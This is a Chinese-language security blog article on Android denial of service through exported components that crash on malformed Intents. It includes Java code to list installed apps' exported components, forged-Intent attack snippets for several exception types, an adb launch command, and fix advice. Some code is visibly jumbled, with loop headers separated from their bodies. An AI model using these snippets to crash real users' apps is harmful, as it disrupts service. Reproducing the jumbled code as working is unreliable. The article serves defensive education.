是谁偷偷退出了我的应用?拒绝服务问题浅谈
“……
我还是从前那个少年
没有一丝丝改变
时间只不过是考验
种在心中信念丝毫未减
……”
问题复现
遇到这种情况,我们可以通过开发常用的简单手段来进行问题复现:
首先这很明显是个拒绝服务攻击,那么我们要做的就是要先定位到发生了什么异常,这里以常规手段为例(当然厂商从业人员是可以通过系统层面的手段直接定位到问题):
1. 进入手机的开发者模式,开启USB调试
2. 通过adb logcat
命令开始记录手机的所有 Log
3. 打开刚刚使用的音乐播放器,静待问题复现
4. 通过问题时间及 exception 进行分析
So,Let's do it!
打开命令行,输入adb logcat -> test.log
,待问题复现后停止 Log 采集,很快问题便来了,如下面截图所示:
getIntent(),getAction(),Intent.getXXXExtra()
的方式去获取数据,而如果获取到的是空数据、异常数据或者畸形数据,就会引发应用的崩溃,导致应用出现闪退等拒绝服务现象。攻击实践
纸上得来终觉浅,绝知此事要躬行,来实践下吧!
带着这个问题查阅了网上的数据和相关资料,所以一起来实践看下这类问题是否依旧是大面积存在。
首先我们创建一个 Android 的工程,利用 PackageManager 可读出全部应用列表:
pm.getInstalledApplications(PackageManager.GET_UNINSTALLED_PACKAGES);
通过如下代码可取得应用的暴露组件:
public void getExportedComponent(){
PackageManager pm=getPackageManager();
int exportedCount=0; // 记录有暴露组件数量
try {
PackageInfo packageInfo=pm.getPackageInfo(packagename,PackageManager.GET_ACTIVITIES);
// Activity
ActivityInfo[] activityInfo=packageInfo.activities;
try{
if(activity.exported){ // 判断是否暴露
Log.d("Exported",activity.name);
exportedCount++;
try{componentlist.add(activity.name);}catch (Exception e){
e.printStackTrace();
}
}else{
Log.d("Not",activity.name);
}
}}catch (Exception e){
e.printStackTrace();
}
// Seivice
ServiceInfo[] serviceInfos=pm.getPackageInfo(packagename,PackageManager.GET_SERVICES).services;
try{
if (serviceInfo.exported){
exportedCount++;
Log.d("Exported",serviceInfo.name);
try{
e.printStackTrace();
}
}else {
Log.d("Not",serviceInfo.name);
}
}}catch (Exception e){
e.printStackTrace();
}
// Receiver
ActivityInfo[] receivers = pm.getPackageInfo(packagename, PackageManager.GET_RECEIVERS).receivers;
try{
if (receiver.exported){
exportedCount++;
Log.d("Exported",receiver.name);
try{
componentlist.add(receiver.name);}catch (Exception e){
e.printStackTrace();
}
}else {
Log.d("Not",receiver.name);
}
}}catch (Exception e){
e.printStackTrace();
}
} catch (PackageManager.NameNotFoundException e) {
}
if(exportedCount!=0)
{
Toast.makeText(FuzzerActivity.this, "该应用共有"+exportedCount+"个暴露组件", Toast.LENGTH_SHORT).show();
}
else
{
Toast.makeText(FuzzerActivity.this, "该应用没有暴露组件", Toast.LENGTH_SHORT).show();
}
}
for (ActivityInfo activity:activityInfo){
for (ServiceInfo serviceInfo:serviceInfos){
componentlist.add(serviceInfo.name);}catch (Exception e){
for (ActivityInfo receiver:receivers){
为了方便起见我们将其放入一个列表里,得到如下APK:
NullPointerException
问题代码示例:
Intent i = new Intent();
if (i.getAction().equals("XXXX")) {
Log.d("TAG", "Test for Android Refuse Service");
}
攻击思路:
// adb
adb shell am start -n 包名/.MainActivity
// 亦可通过 Intent 直接启动此类组件
ClassCastException
问题代码示例:
Intent intent = getIntent();
String test = (String)intent .getSerializableExtra("key");
攻击代码示例:
Intent intent = new Intent();
intent.setClassName("目标 Activity ", "目标组件");
intent.putExtra("key", BigInteger.valueOf(1));
startActivity(i)
IndexOutOfBoundsException
问题代码示例:
Intent intent = getIntent();
intArray = intent.getIntegerArrayListExtra("testarray");
if (intArray != null) {
for (int i = 0; i < 5; i++) {
intArray.get(i);
}
}
伪造 testarray 且小于其判断大小,通过 intent 传入,引起拒绝服务。
ClassNotFoundException
问题代码示例:
Intent intent = getIntent();
intent.getSerializableExtra("key");
攻击代码示例:
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Intent intent = new Intent();
intent.setClassName("目标包名", "目标组件");
intent.putExtra("key", new SerializableTest());
startActivity(i);
}
// 自定义序列化内容
public class SerializableTest implements Serializable{
private static final long serialVersionUID = 42L;
public SerializableTest(){
super();
}
}
自定义序列内容,通过 Intent 发送至目标组件,从而引起其拒绝服务问题。
经过上面的介绍,我们攻击代码的思路已经很清晰了,先扫描各应用暴露组件,进而分别用我们的 APK 去伪造 Intent 启动目标组件,同步使用 Logcat 或直接观察应用状态查看结果。
因为只是验证问题,所以这里并未进行自启动且自动扫描,而是采用了手动扫描的形式,也更方便实时查看结果。
鉴于此问题目前市场较多的应用仍存在,故此次还是不做数据统计结果的分享,有兴趣的也还请自行验证。
目前,此问题广泛的存在于各类应用中,除上文中的某知名音乐软件,在其他某些知名社交类应用、直播类应用、甚至部分安全类应用也存在。
修复建议
既然问题这么多了,还是修复一下吧,以下是经过实践得出的有效修复方式:
1. 如非必要,直接将组件设定为不可导出
即:android:exported="false"
2. 暴露组件在被启动时一定进行参数的有效性验证并进行异常捕获
尤其Intent.getXXXExtra()
相关代码
建议捕获异常类型
· 空指针异常
· 类型转换异常
· 数组越界访问异常
· 类未定义异常
· 其他异常
问题拓展
Intent 是 Android 中很重要的一个通信方式,通常是会包含很多额外的数据,如 Action、 Extras等,以供目标组件处理。
本地 Intent 注入的风险也更不仅是拒绝服务,如权限提升、LauchAnyWhere、间接访问私有组件等,尤其当 system 权限的 APP 存在漏洞时,就有可能会被绕过 IPC 权限。
远程的 Intent 注入,操作空间也会更加灵活,如来自网页的 JS 脚本可以通过远程的 Intent 实现拨打电话,通过网络短信中的链接,可以直接启动本地的应用等等。
抛出此类问题也是从安全角度提出一些 Intent 的使用方式,如在传递敏感信息时应优先考虑如何进行身份校验,而不是实现了功能,却给攻击者留下了漏洞。
▼
写在最后
其实本文所谈的问题早在5年前就已经抛出来了,直到现在,市场上还有很多的未修复应用,还不乏一些大厂应用。可想而知,如何避免重复出现已发现的安全问题,还是任重而道远呀……
“家贼难防”系列-密钥硬编码
你需要知道的SELinux入门学习
如何通过配置文件实现HTTPS证书固定
END
长按关注 最新动态